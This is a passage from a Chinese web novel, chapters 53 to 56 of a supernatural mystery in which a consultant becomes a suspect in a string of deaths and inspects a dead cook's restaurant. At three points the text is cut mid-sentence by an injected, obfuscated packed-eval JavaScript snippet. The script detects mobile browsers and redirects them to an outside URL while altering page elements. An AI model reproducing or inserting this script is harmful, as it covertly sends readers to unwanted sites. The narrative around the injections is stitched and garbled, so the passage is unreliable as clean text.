年轻人眨了眨眼,很快恢复热情,但耳朵尖悄悄红了。 “那个,您、您先填一下基本信息。”他把表格和笔推过来,“姓名、年龄、住址、联系方式、案件类型——” 赵四接过表格,低头看了一眼。 【三儿,这小鬼好像有点紧张。】 MK3000:【耳朵红了。】 赵四心里好笑,面上不动声色,倒真拿起笔开始填起来。 青阳渡,年龄……他想了想,随便写了个二十八。 住址写了302。 联系方式留了手机号。 案件类型……他顿了顿,空着没写。 年轻人凑过来看,看着看着,眼睛瞪大了。 “咦?您住华南佳苑?”他的语气里带着点意外,“那不就是昨晚那个——” 他压低声音,“您已经看到通知了吧?” 赵四抬头看他,微笑:“对。” 年轻人的眼睛刷一下的亮了。 “您这是有线索了?!太好了!” 53.第53章 玫瑰战争11 赵四:“这个……” 线索倒是有,还就是他本人。 但是这话能说出口吗? “小陈!” 一个声音从门口传来,打断了这场“报案”。 赵四回头。 接待室的门口站着一个三十多岁的男人,穿着事务署的制服,胸牌上写着“高级事务官”。 他的表情有点无奈,又有点尴尬,赵四观察了一下,发现那是一种“果然又来了”的无奈。 年轻人看见他,立刻站起来:“赵哥!您怎么来了?” 高级事务官走进来,先看了赵四一眼。 赵四敏锐地发现那目光像是在隐晦地确认什么,又像只是下意识地打量——然后来者才转向那个年轻人,语气里带着点恨铁不成钢。 “上面让我来接青阳顾问——你在这儿瞎问什么呢?” 年轻人愣住了。 他只是年轻,又不是傻。 “青阳……顾问?”他呆呆地重复了一遍,然后慢慢转过头,看向赵四。 那张好看得过分的脸。 那个随便写的“二十八”岁。 那个住址——华南佳苑五栋302。 年轻人后知后觉的想起了自家上司之前给他的资料,上面好像写着青阳顾问的工作室就是这个地址…… 他的脸“腾”地一下红了。 “您、您就是青阳渡顾问?”他的声音都飘了,“那个……那个……专治各种想不开,署里的特别顾问?” 赵四笑了:“是我。” 年轻人张了张嘴,又张了张嘴,最后憋出一句: “我以为……我以为您至少是个中年人……” 赵四咳嗽了一下,让自己笑的别太明显,好歹给年轻人留点面子。 高级事务官在旁边扶额,一脸“我就知道会这样”的表情。 他走过来,把年轻人拉到一边,低声道: “行了行了,别在这儿丢人了。去,门口盯着去,看沈队长什么时候回来,来了让他直接去署长办公室。” 年轻人小鸡啄米似的点头,转身就跑。 跑到门口又停下来,回头看了赵四一眼,结结巴巴地说: “那个……青阳顾问……我刚才问的那些问题……您、您别往心里去……我、我就是……” 赵四点头:“没事。挺热情的。” 年轻人的脸又红了一个度,转身同手同脚的走了。 走的时候因为紧张,还在门槛上绊了一下,差点摔倒。 高级事务官叹了口气,转向赵四,表情比刚才正式了许多。 “青阳顾问,请跟我来,我们署长特意吩咐过,您来了之后直接带您进去。” 赵四点点头,跟着他走出接待室。 路过门口的时候,他看见那个叫小陈的年轻人正站在门卫室外面,手里拿着登记表,假装在看。 但眼神一直往这边飘,耳朵的红也没褪下去。 赵四假装什么都没发现,跟着高级事务官往里走了。 身后,年轻人站在原地,目送着他的背影消失在走廊深处。 过了好一会儿,他才回过神来,低头看了一眼手里的登记表。 发现自己拿倒了后又手忙脚乱的给倒回来。 表格上,“青阳渡”三个字写得工整又随意。 他把那张表格小心翼翼地叠好,揣进口袋里。 然后他开始挠头。 “青阳……青阳渡……那个顾问?” 他喃喃自语,眼睛瞪得老大。 “他才二十八?比我大不了几岁??” 正挠着,身后传来脚步声。 他回头,看见沈恕正快步走过来。 特别行动队队长,平时一贯沉稳冷静,走路都带着那种让人不敢靠近的气场。 但今天—— 今天他走得有点快。 至少比平时快多了。 “小陈。”沈恕走到他面前,语气还是稳的,但小陈总觉得哪里不对劲,“青阳来了吗?” 小陈愣了一下,立刻点头:“来了来了!刚进去!赵哥带他进去的!” 沈恕点点头,说了句“辛苦了”,然后推门进去。 步子比刚才更快了。 小陈站在门口,又目送着沈恕的背影消失在深处,感觉自己像个守门的门神。 他眨了眨眼。 又眨了眨眼。 “沈队长今天……”他自言自语,“怎么有点着急?” 没人回答他。 只有空空荡荡的接待室见证了一切。 小陈又挠了挠头,摸摸口袋里那张叠得整整齐齐的表格,不知道为什么有点不自在。 他咳嗽了一声,拍了拍自己的脸又打起精神,像一个新进来的、有点手足无措的大娘走去。 “您好,登记往这边走——” …… 高级事务官带着赵四穿过走廊,一路上遇到不少穿着制服的人。 有的行色匆匆,怀里抱着文件几乎是用跑的; 有的三五成群聚在角落,压低声音讨论着什么,看见他们经过,立刻收声,等人走远了才继续; 还有的从一个房间里冲出来,差点撞到人,手里的文件散了一地,慌慌张张地捡。 赵四面不改色地跟在高级事务官后面,把这一切都收进眼底。 【三儿,这事务署气氛不太对啊。】 MK3000:【看来是出事了。而且不是小事——你看那些人的表情,不是忙,是慌。】 赵四深以为然。 【就是不知道让事务署变成这样的事,和我被沈恕匆忙叫来的事,是不是同一件事了。】 高级事务官在一扇门前停下。 赵四看了一眼门边的牌子,牌子写着署长办公室。 事务官敲了敲门,里面传来一个沉稳的声音:“进来。” 他推开门,侧身把赵四让进去:“青阳顾问,请。” 赵四点点头,迈步走进办公室。 门在身后轻轻关上。 办公室很大,装修却很简单。 墙上挂着几条锦旗,红底金字,写着“虚沼克星”“民众卫士”之类的话。 靠墙的落地档案柜里塞满了厚厚的档案袋,有些袋口露出纸边,像是刚被翻过。 窗台上摆着几盆绿植,叶片油亮,倒是被照顾得很好。 一个六十岁左右的男人坐在办公桌后面,头发花白,但眼神锐利得像正在巡视猎物的鹰。 他看见赵四,没有起身,只是抬了抬下巴,示意赵四坐下。 赵四在他对面落座。 他们互相打量着对方,好一会没人说话。 办公室里的空气像是凝住了。 赵四面上一片平静,心里却在快速过了一遍MK3000发给他的关于这位署长的资料。 ——虚沼事务署的一把手,在这个位置上稳稳坐了十二年,经手过的大小事件不计其数。 也就是说,是个不好对付的老狐狸。 最后是署长先开的口。 “青阳顾问,”他的声音低沉平稳,目光却像刀子一样刮过赵四的脸,“你看起来……和上次见面不太一样。” 赵四坦然迎上他的目光:“是吗?哪里不一样?” 署长没有回答。 他只是又看了赵四一眼,那目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249947|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里有审视,有衡量,还有一点说不清道不明的东西。 然后他收回目光,拉开抽屉,从里面拿出几份档案,推到赵四面前。 “先看看这个。” 赵四搓了搓指尖,垂下眼睫,去看那些档案。 五份档案叠着放在一起,封面上各自贴着一张照片。 赵四把它们一一摆开,从第一份开始翻起。 厨子、作家、政客、企业家和艺术家。 五个人,五个职业,还有五个看起来毫不相关的名字。 在这五人中,厨子和作家已经亡故,还剩下政客、企业家和艺术家还活着。 赵四的目光在那两个“已故”上停了一秒,然后继续往后翻。 刚翻开第三份时,署长办公桌上的固定电话忽然响了。 那声音在安静的办公室里显得格外刺耳,像是催命一样,一声接一声。 赵四的动作顿了顿,无声地看向署长。 署长皱着眉接起电话。 他刚开口想说点什么——大概是准备训斥下属——但只听对面说了个开头,他的表情就变了。 眉头越皱越紧,最后眉心的皮肤印下深刻的川字纹路。 对面又说了什么,署长只是叹了口气,留下一句简短的“我知道了”,就挂了电话。 然后他看向赵四,目光比刚才更复杂了。 “抱歉,”他说,“有件出乎意料的事发生了。” 署长站起来,绕过办公桌,走到赵四旁边。 他从笔筒里拽了支笔,就着赵四正看着的那份资料,弯腰在政客的照片上画了一个大大的叉号。 画完后,他退后了两步,拉开了和赵四的距离。 这意思是…… 赵四抬头问道:“他死了?” 署长点点头,把笔放回桌子,表情说不上好看。 “我们的人刚发现,他死在了家里。” 赵四重新看回那份资料。 政客,四十五岁,有妻有子,儿女双全。 他最近一次出现在公众视野里是三天前,出席一个什么公益活动。 赵四又看过后面两份资料,感慨:【三儿,在出租车上,你查到的那个名单和这个可以说是一模一样啊。】 只不过当时查到的五个人里,是两个已故,三个还活着。 现在政客死了,那就还剩两个。 企业家和艺术家吗…… 赵四抬起头,看向署长。 他的目光从署长脸上扫过,回忆着从进门开始,这位署长的每一个细微表情—— 刚见面时的审视,递档案时的沉默,接电话前的镇定,挂电话后的复杂。 还有刚才,画完叉号之后,那个下意识退后两步的动作。 赵四心里有了数。 他没有拐弯抹角,直白发问:“我是本案的第一嫌疑人,是吗?” 署长的表情终于有了一丝变化。 那变化很细微,只是眉毛微微动了动,嘴角的弧度下沉了一点点。 但对于一个在官场沉浮了大半辈子的人来说,这已经算是剧烈的情绪波动了。 他没有立刻回答。 只是看着赵四,那双鹰一样的眼睛里,审视褪去了一些,取而代之的是一种更复杂的情绪。 像是惊讶,又像是某种意料之中的释然。 过了几秒,署长开口了。 “青阳顾问,”他的声音比刚才低了一些,“你知道为什么这些档案会出现在你面前吗?” 赵四没说话。 署长顿了顿,目光落在赵四的脸上。 他说:“因为这五个人,在过去一个月里,都和你见过面。” 54.第54章 玫瑰战争12 署长说完那句话后,办公室陷入了短暂的沉默。 墙上挂钟的滴答声一下一下,像在给什么倒计时。 赵四垂眼看着面前那五份档案,屈指轻轻敲了敲最上面那份。 指尖落在纸面上的声音很轻,但在安静的房间里却格外清晰。 他在心里问:【三儿,会客簿我翻过的内容你录入了吧?在最近一个月的记录里检索这五个名字,看看他们去没去过事务所。】 【收到。】MK3000应了一声,【检索中……检索完成。】 【记录中没有完全相同的名字条目,但是有相同职业的人员记录。】 【厨子、作家、政客、企业家、艺术家——五个职业都对得上。】 赵四在心里点了点头。 也就是说,可以认为这五条职业对应的记录,对应的就是这五个人。 署长说的“见过面”大概率是真的。 至于为什么死亡率这么高—— 赵四:【把会客簿中人类的部分单独列出来,然后检索这些人在现实里的行动轨迹,看看活着的还有几成。】 他倒要看看,青阳渡的客人们存活率到底有多少。 要是真的很低…… 那赵四就不得不重新考虑一下,之前对青阳渡的猜测到底对不对了。 好在MK3000的调查结果让青阳渡和他的事务所保住了形象。 【基本上该活着的都活着。】MK3000说,【就是这几个在会客簿里留下记录、名字又和现实身份对不上的人——死了三个。】 赵四敲档案的手停住了。 所以问题不在青阳渡身上。 在这几个人身上。 他抬起头,对上署长的目光,嘴角微微弯了一下。 那其实也算不上笑了,因为赵四只是嘴角朝上翘了那么一点点弧度。 但就是这一下,整个办公室的气氛都松动了些许。 “署长,”赵四的声音很平静,“你说得对,我们确实见过面。” 署长的眼神微微一凝。 他没有接这个话茬,而是说:“你知道我刚才接的那个电话,是谁打来的吗?” 赵四表示愿闻其详。 署长继续说:“技术科。他们刚刚做完现场勘查。” 他顿了顿,一字一顿地说:“政客的死亡时间,是昨夜十点至今天凌晨三点之间。” “而你——” 赵四接倒:“我在302。” “是的,你在302。”署长的目光紧盯着他,“你说你在302——你有证人吗?有证据吗?” 赵四没有立刻回答。 他看着署长那双鹰一样的眼睛,忽然意识到一件事。 这位署长不是在审问他,而是在给他递话。 如果署长真的把他当嫌疑人,不会这样面对面单独谈话,不会把五份档案直接推到他面前,更不会在政客刚死的时候就告诉他死亡时间。 这是在给他解释的机会。 赵四放松了身体,他往后靠住椅背,双手交叠放在膝盖上。 “署长,”他说,“凌晨三点的时候,沈恕在我那儿。” 署长的表情终于有了一丝变化。 “不止沈恕。”赵四继续说,“他带的特别行动队,七八个人,都在我那儿。他们亲眼看见我从302走出来,亲眼看见我处理了一个‘小问题’。” 他顿了顿,补了一句:“你可以问沈恕。也可以调他们的行动记录。” 署长盯着他看了几秒。 然后,他也笑了。 那笑容里带着点无奈:“对你来说,这可算不上铁证。” 青阳渡实在是个神秘人,就署长知道的,青阳渡就有数十种方法能在那段时间从案发现场到302之间打几个来回,并且还能做到不留任何痕迹。 但只要青阳渡还愿意坐在这里,愿意给他个能看过去的解释,那这些就都不是问题。 他走回办公桌后面,重新坐下,双手交叠放在桌上。 “青阳顾问,”他的声音沉下来,“这件事,尤其是现在发现的政客的死,一定会让上面动真格。” 赵四没说话。 “我个人愿意相信你。”署长说,“我们认识这么多年,你是什么人,我心里有数。” “但是光我相信没用,上面要的是结果,是真相,是一个能写进报告里的交代。” 特聘顾问这个位置,可是烫手的很。 保不齐上边哪位就看不过眼,准备出手整治人呢。 赵四点点头:“理解。” 署长往前探了探身。 “那么,基于此,我给你一个机会。” 他的声音压低了,带着点意味深长:“我出人手和渠道,换你在七天内查明真相。” “七天?” “对,七天。”署长的目光定在他脸上,“最多七天,你必须给我一个能拿出手的交代。” 这个交代不是给署长的,而是给那些盯着这个案子、盯着青阳渡的人的。 今天收到的包裹上那句“你还有七个月落的时间”从脑海中闪过。 赵四的睫毛轻轻颤了一下。 七个月落。 七天。 这个时间点,对得太齐了。 他看向署长。 那双鹰一样的眼睛里,有什么东西在闪烁。 不是怀疑,不是试探,而是一种更复杂的情绪。 那更像是某种隐晦的希望。 赵四心里明白,署长说的“出人手和渠道”,说白了就是隐性监视。 派来的人是协助,也是眼睛。 但他也明白,署长没有别的选择。 这些借给赵四的人手和渠道,说白了就是隐性监视。 赵四开口:“你倒是确认我会乖乖听话?” 署长很直白:“你知道我看不住你。你的手段我比谁都清楚,就算派一百个人跟着你,你也能让自己想做的事发生得神不知鬼不觉。” 他顿了顿,语气里带上了一点笑意:“但至少,这样能让所有人都放心。” 事务署需要有人盯着赵四,让这个一号嫌疑人的一举一动都在官方视野里。 而对赵四来说,他需要有人证明自己行动的正当性,也需要有人实时向关注此事的“上面人”反馈他的动向。 这是双向保险,也是各取所需。 赵四点头:“行。就这么办。” “那就这么定了。” 署长靠回椅背,表情比刚才放松了许多。 他伸手在桌上那一叠文件里翻了翻,抽出一张纸,推到赵四面前。 “既然已经达成合作,青阳顾问,我这里有一条线索要告诉你。” 赵四低头看向那张纸,上面是一份技术报告。 “技术科近几年新做出来的虚沼气息检测仪,想必你不陌生。” 署长的声音从对面传来,“五天前,在本市布设的检测仪突然报警。由于警报等级很高,那次直接出动了沈队长的特别行动队。” 他顿了顿。 “结果呢?警报的中心地点什么都没有。三个小时后,我们找到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254250|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了——” 他伸手在报告上点了点。 赵四看向他手指的位置。 哪里有一个名字——刘大勇,也就是那个厨师。 死亡时间:五天前。 “三天前,又响了一次。”署长继续说,“结果还是一样。只不过这次我们找到的是张维安。” 张维安是作家,死亡时间是三天前。 赵四的目光在那两个名字上停了一秒,然后他抬起头,看向署长。 署长没有让他等,直接说出了第三个名字:“今天凌晨检测仪又响了,还是同样的位置,同样的结果。” “这次我们找到的是于海波。” 果然,是政客。 赵四垂下眼,把那五份档案叠起来,推回署长面前。 “这个案子,我接了。”他说,“七天之内,我会给事务署一个交代。” 署长点点头,眼里那点紧绷终于松了下来。 “那就拜托你了。” 他伸手拿起桌上的电话,拨了个内线,对着话筒简短地说了句:“让他们进来吧。” 电话挂断没多久,办公室的门就被敲响了。 署长扬声道:“进来。” 门推开,进来的人是刚刚见过的高级事务官——白宁。 他身后,沈恕紧跟着走了进来。 沈恕走到办公桌前,先喊了声“署长”,然后他看向赵四。 那眼神在赵四身上停了一秒,像是确认了什么,然后才移开。 署长点了点手边的档案:“来得正好,这个案子青阳顾问刚接下了,沈恕,你带一队人协助他。” 他又看向白宁:“小白,你也抽一队人,配合青阳顾问的工作。” 两个人都应了这件事。 署长摆摆手:“行了,去吧,有什么进展记得随时向我汇报——青阳,这件事就交给你了。” 赵四点点头,和其他两人一起出了办公室。 门在他们身后关上。 三个人站在走廊里,先互相看了看。 白宁握拳抵住嘴唇,轻轻咳嗽了一声,露出一个尴尬而不失礼貌的微笑。 “那个……青阳顾问,”他的语气里带着点小心翼翼,“我那边还有点事要处理。您和沈队长先聊,我去安排人手,回头再联系您。” 他顿了顿,又问:“您要有什么急事的话……对了,您有我的联系方式吧?” 青阳渡可能有,但赵四没有。 他说:“前两天手机坏了,还没来得及重新备份联系人。” 白宁张嘴报出了一串号码,确认赵四记住了之后,表示可以用这个联系他。 然后他朝沈恕点了点头,转身快步走了。 那步子快得像是后面有狗在追。 赵四看着他的背影消失在走廊尽头,又转头看向沈恕。 他就那么站着,双手插在裤兜里,目光落在走廊尽头的某个点上。 那并不是在看白宁,他的目光落点是更远的地方。 沈恕像是在想什么,又像是什么都没想。 赵四等了足足三四秒。 见沈恕完全没有开口的意思,他只好先打破沉默。 “沈队长,”他的语气很平常,“咱们要一直在这儿杵着吗?” 沈恕动了动,像是刚从什么思绪里被拽出来,他收回目光的落在赵四脸上。 那一瞬间,赵四在他眼里看见了一点没来得及收好的……恐惧? 那情绪很淡,消失的也很快,倒像是赵四的错觉了。 赵四皱眉:“你……” 55.第55章 玫瑰战争13 赵四皱眉:“你……” 沈恕的目光已经移开了。 他转身往前走,走了两步又停下来,回头看向赵四。 “走吧,”他的声音恢复了平时的沉稳,“先去挑人。” 赵四动作顿了顿,还是跟了上去。 两人并肩走在走廊里,脚步声一前一后,谁都没说话。 刚才是赵四看错了吗? 不,赵四完全相信自己。 那绝不可能是错觉。 只能说,是沈恕有点问题。 赵四问MK3000:【三儿,录像了吗?】 【录了。】MK3000应得很快,【刚刚那一帧我已经截出来发你面板了。】 赵四反复看着那张截图,确信虽然只有一瞬间,但沈恕的眼里盛着的的确是恐惧。 【他在怕什么?】 【不确定。】MK3000顿了顿,【要分析他刚才的目光落点吗?】 赵四想了想,点了头。 这个世界的规则太特殊了。 既存在“不被认知就不会被看见”的东西,也存在“只有特定的人能看见”的东西。 沈恕看的地方可能什么都没有,这可能说明他怕的可能是别的东西,也可能说明有东西存在。 只是这东西赵四看不见,MK3000的能量扫描模式也没扫描出来。 小心点总没坏处。 【分析。】赵四说,【别忘了把实时环境参数加入分析模型。】 MK3000回了个“收到”就干活去了。 赵四没再说话。 他想起凌晨在302的时候,沈恕看见他从卧室里走出来的那个眼神。 当时他以为是惊讶。 现在想想,也有可能不单纯只是惊讶。 沈恕带着他穿过走廊,拐进另一栋楼,最后在一扇门前停下。 门上写着:特别行动队·一队。 沈恕推开门。 里面是一个大开间,十几个人正在忙碌。 有的在看资料,有的在调试设备,还有的围在一起讨论着什么。 墙上挂着几块白板,上面写满了各种符号和日期。 看见沈恕进来,所有人立刻站直。 “队长!” 沈恕点点头,侧身让出位置。 “这是青阳顾问。”他说,“接下来七天,一队配合他工作。” 所有人的目光齐刷刷落在赵四身上。 赵四面带微笑,朝他们点了点头。 “大家好。”他说,“请多关照。” 那些人的眼神里带着好奇、打量,还有一点“这人长得真好看”的惊讶。 但没有人多问,只是整齐地点头,堪称训练有素。 沈恕侧头问赵四:“今天需要几个人?” 赵四:“三个吧。先去现场看看,不需要太多人。” 沈恕点点头,正准备开口—— 角落里有一个人眼睛刷的亮了。 “我我我!青阳顾问选我!” 赵四看过去。 是一个年轻人,二十出头,脸上带着那种刚入职场的兴奋和“终于有机会表现自己”的迫不及待。 有点眼熟。 再一看——哦,昨晚那个小七。 就是那个带了玻璃保温杯出任务、把胡主任关在门外、最后还被赵四借走杯子装虚沼生物的小年轻。 小七三步并作两步窜到赵四面前,眼睛亮得像看见偶像的追星族。 “青阳顾问!您还记得我吗?昨晚!302!带了个保温杯那个!” 赵四温和道:“我记得你。” MK3000默默吐槽道:【就今天凌晨发生的那些事,也很难对他印象不深刻吧。】 听不到系统吐槽,只能听见赵四回答的小七更兴奋了,整个人像是被打了鸡血。 “您选我吧!我什么都能干!跑腿、开车、拎包——您让我干什么都行!” 沈恕在旁边轻咳了一声。 小七立刻收敛了一点,但还是眼巴巴地看着赵四,像一只等待被选中的小狗。 赵四不讨厌主动的人,更何况小七确实脑子灵活,身手也不错。 于是他说道:“带上小七,再叫一个人咱们就走。” 小七的笑压都压不下来。 沈恕一愣:“一个?” 赵四提醒他:“你和小七,已经两个了。还是说你要留下办公?那给我换个队员也行。” 沈恕:“……” 他清了清嗓子,没回答赵四的问题,直接点了个队员。 “阿杰,收拾收拾,跟我们走。” 顿了顿,又补了一句:“小七,你跟着去可以,但别添乱。” 被叫到名字的阿杰应了一声“明白”,利落地开始收拾东西。 小七则拍着胸脯下保证:“队长您放心!我绝对不添乱!我负责帮青阳顾问拿东西!” 赵四没忍住笑了一声。 沈恕看了他一眼,然后移开目光。 “走吧。”他说,“我开车。” 赵四:“沈队长亲自开车?” 沈恕没回答,只是转身往外走,步子比平时快了一点。 小七凑到赵四身边,压低声音说:“青阳顾问,队长今天好像有点奇怪。” 赵四看他一眼:“怎么奇怪?” 小七挠了挠头:“说不上来……就是……平时他走路没这么急。” 赵四笑了笑,没接话。 他拍了拍小七的肩膀,和阿杰一起,三人跟在沈恕后面。 四个人走出大楼,来到停车场。 沈恕拉开一辆黑色SUV的车门,示意赵四上车。 众人很快坐好,车子启动。 还没出停车场的大门时,沈恕问:“先去哪儿?” 赵四说:“发现厨师那。” 沈恕点点头,地图都不用看,就熟练的打了转向。 小七在后面探头探脑:“青阳顾问,听说那个厨师死得挺蹊跷的——这是个大案呢,您现在接手这个案件了?” 沈恕从后视镜里看了他一眼。 小七闭上嘴,但眼睛里还是闪着好奇的光。 阿杰在旁边轻轻拍了他一下,示意他别太聒噪,小心队长回去削他。 车子穿过城市街道,驶入老城区,最后在一排临街的店铺前停下。 赵四透过车窗看出去。 那是一家很小的饭馆,门面不大,招牌上写着“刘记小炒”四个字,红底黄字,普普通通。 但此刻饭馆大门紧闭,门上还贴着事务署的封条。 过路的行人瞧见封条,都缩起脖子绕着走,像是怕沾上什么不干净的东西。 赵四推门下车。 小七和阿杰也下来,一行三人等着沈恕停好车再一块进去。 老城区这块的停车位不算充裕,沈恕应该是绕了一大圈,过了好几分钟才过来。 他来了之后,几人简单商量了一下分工。 沈恕和赵四进现场。 小七和阿杰去周围走访调查,跟附近的人聊聊,问问发现现场时的情况。 定好分工,大家很快行动起来。 赵四接过沈恕递来的鞋套和手套,穿戴好后才走进饭馆。 里面很小,就五六张桌子。 墙上贴着手写的菜单,收银台后面挂着一块小黑板,上面写着今日特价菜。 一切都整整齐齐。 就像任何一家已经做好了营业准备,随时准备开门营业的小饭馆。 但赵四知道,这里的老板,再也不会回来了。 他站在原地,目光慢慢扫过整个空间。 收银台、桌椅、厨房门帘、墙上挂着的钟。 【三儿,开扫描。】 MK3000应了一声,开始扫描整个空间。 几秒后,它开口:【检测到微弱能量残留,和你的事务所很像,但气息更偏向于虚沼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17258995|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那边。】 【这里有过“虚沼”生成?】 【大概率是的。】 那这个虚沼消散的还挺快。 赵四掀开门帘,走进厨房。 厨房也不大,灶台、案板、水池,都收拾得干干净净。 案板上还放着半颗切了一半的白菜,像是切到一半的时候突然停下来的。 赵四盯着那颗白菜看了几秒,然后目光移向别处。 灶台、调料架、水池…… 一切都很正常。 但赵四总觉得有什么地方不对。 他说不上来是什么,但那种违和感就像一根刺,扎在意识深处。 他退出厨房,回到大堂。 沈恕站在收银台旁边,正在看墙上挂着的那块小黑板。 赵四走过去,站在他旁边。 小黑板上写着今日特价: 青椒肉丝12元 西红柿鸡蛋10元 免费送例汤 字写得歪歪扭扭的,但很认真。 从笔画上的用力来看,能看出来写下这些的人并不擅长写字。 赵四看着那几行字,忽然问:“沈队,这个厨子是个什么样的人?” 沈恕想了想:“从资料上看,是个老实本分的人。他开了十几年小店,一直自己掌勺,街坊邻居都说他人好,菜实惠。” 赵四点点头。 他又看了一眼那块小黑板,然后目光移向收银台。 收银台很普通,就一个抽屉,里面有几张零钱,几张发票。 赵四拉开抽屉,翻了翻。 发票上的日期都是五天前的。 也就是说,厨师死的那天,还正常营业过。 他合上抽屉,目光落在收银台和旁边柜子的接缝处。 MK3000提醒道:【柜子下面有东西。】 赵四回头招呼沈恕:“来,帮忙和我一起把这个柜子移开。” 去了厨房的沈恕应声出来,两人合力把柜子挪开。 柜子底下落了一层灰,灰里躺着一个深蓝色封皮的笔记本。 封面落满了灰,像是掉进去很久了。 赵四弯腰捡起来,拍了拍灰。 沈恕凑过来,两人一起翻开。 第一页写着两行字: “今天生意不错,卖了三百块。” “隔壁王婶说我家菜好吃,开心。” 赵四盯着那行和小黑板上的字迹一模一样的记录看了几秒,然后继续往后翻。 后面都是这样的记录。 每天的营业额,每天的小事,每天的开心和不开心。 “今天下雨,没什么人。隔壁王婶送了我一把伞,好人。” “儿子打电话来说想我了,让他周末来店里,给他做红烧肉。” “今天有个客人说我的青椒肉丝比他妈做的还好吃,哈哈。” 赵四一页一页翻过去。 那些字迹从歪歪扭扭变得稍微熟练了一点,但始终透着一种“不常写字”的生涩。 内容都很简单,就是一个普通的小饭馆老板,普普通通的每一天。 他翻到最后一页。 最后一页上的字迹和前面不太一样。 不是内容不一样,是力道不一样。 前面那些字,写得很放松。 最后一页上的字,笔画很重,像是写字的人用了很大的力气。 上面写着: “最近总做噩梦,梦见做菜尝不出味了。常来的客人听我说完噩梦的内容后,给了我一张名片,说可以去找名片上的人看看。” “名片上写着虚沼侦探……真的假的,要不要去试试?” 赵四知道后面发生了什么。 这个厨师,也就是刘大勇,确实去找了青阳渡。 但是可不是为了什么做噩梦。 青阳渡的会客簿上对应的条目是—— 刘勇·委托·犯罪之后怎么养才能最大程度脱罪。 56.第56章 玫瑰战争14 赵四盯着刘大勇的笔记本上“虚沼侦探”那几个字看了几秒。 这四个字写得格外用力,像是写下这句话的人在犹豫什么,又像是在给自己打气。 他合上本子,把本子塞到沈恕手里。 “沈队长,有件事要问你。” 沈恕接过本子:“你说。” “刘大勇有没有什么曾用名?或者平时别人怎么叫他?” 沈恕愣了一下,显然没想到他会问这个。 但他没有多问,沉吟片刻,回忆道:“档案上倒是没有改过名的记录。但这周围的邻居……并不是所有人都知道他叫刘大勇。” 这些人有的喊他老刘,有的喊他阿勇,还有的喊他刘老板。 大概是“阿勇”这两个字出现的次数多了,后来逐渐有人以为他的本名就叫“刘勇”。 这名字也不知道怎么传开的——可能是某个人听岔了,可能是某个人记错了,反正传着传着,到最后,大家都这么认为了。 沈恕下意识摩挲着笔记本的边缘,继续说下去。 “第一次走访的时候,署里有同事听附近的人说过,他自己跟人介绍的时候,偶尔也会说‘我叫刘勇’。大概也是被叫习惯了,觉得纠正起来麻烦。” 赵四的目光微微一凝。 刘勇。 会客簿上的名字,就是刘勇。 所以不是记错了,不是笔误,不是巧合。 刘大勇本人,在以“刘勇”这个名字认知自己。 【三儿。】 MK3000已经在他脑子里打出了一个名词:“认知度”。 在这个有玄学的世界里,假如从一个人以为你叫刘勇,到十个人以为你叫刘勇,再到一百个人以为你叫刘勇,最后直至连你自己都觉得你是刘勇。 那会出现问题吗? 比如说——最终的那个“你”,到底是刘大勇,还是刘勇? 赵四在心里问:【作为一个人,会这么轻易就被周围人的认知改变自己吗?】 MK3000的回答带着谨慎:【按道理讲,情绪构造体当然很容易被周围人的认知影响。】 【但刘大勇是人,作为人类要是也这么容易被认知度左右,这个世界早就出大乱子了。】 说句不好听的,如果真是这样,那这个世界根本撑不到把青阳渡搞出来当什么救世主,就会自己先把自己玩完。 赵四没接话。 他想起会客簿上那条记录。 刘勇·委托·犯罪之后怎么样才能最大程度脱罪。 这个委托,和刘大勇的个人性格画像怎么看都不相符。 一个开了十几年小店、街坊邻居都说好的老实人; 一个每天记流水账、记录“隔壁王婶送了我一把伞”这种小事的普通人; 一个因为客人说“青椒肉丝比他妈做的还好吃”就高兴地写进日记里的人。 他有什么罪需要脱? 他为什么要去找“虚沼侦探”问这种事? 赵四站在那间小小的饭馆里,目光慢慢扫过那些普普通通的桌椅、普普通通的菜单、普普通通的收银台。 一切都普普通通。 但那种违和感,像一根刺,扎得更深了。 赵四收回目光,往外走。 “走吧。”他说,“先出去。” 沈恕跟在他身后,两人一前一后走出饭馆。 门外,小七和阿杰已经回来了。 小七一看见赵四,眼睛就亮了,三步并作两步窜过来:“青阳顾问!我们问了一圈!” 阿杰跟在他后面,表情比小七沉稳多了,但眼里也带着点“有收获”的神色。 赵四点点头:“说说看。” 小七清了清嗓子,开始汇报。 他说的那些,赵四大概听了一下——无非就是刘大勇自己在笔记本里写的那样。 夸菜好吃,夸人实在,夸价格公道。 “隔壁王婶说他可好了,去年冬天还帮她提过菜。” “对面卖烟的大爷说他是个难得的实在人,买东西从来不欠账,每次都是现结。” 